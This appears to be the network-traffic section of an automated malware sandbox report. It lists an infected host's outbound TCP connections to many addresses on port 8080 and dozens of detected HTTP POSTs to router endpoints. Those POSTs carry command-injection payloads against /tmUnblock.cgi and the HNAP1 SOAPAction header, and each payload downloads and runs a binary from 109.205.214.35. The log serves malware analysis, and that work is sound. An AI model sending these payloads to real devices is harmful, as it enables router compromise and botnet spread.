Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.77.226.236:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.169.128.254:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.173.123.86:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.230.124.50:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.140.128.50:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.94.115.122:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.223.183.23:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.213.111.145:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.254.230.102:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.31.48.15:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.135.74.79:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.162.51.239:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.0.155.221:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.67.97.85:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.150.85.207:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.183.72.85:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.157.67.223:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.130.203.68:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.1.1.44:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.236.121.132:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.218.180.145:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.246.140.61:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.95.206.46:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.27.175.84:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.128.195.151:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.89.211.230:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.134.215.184:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.87.123.98:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.111.233.158:8080

Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" 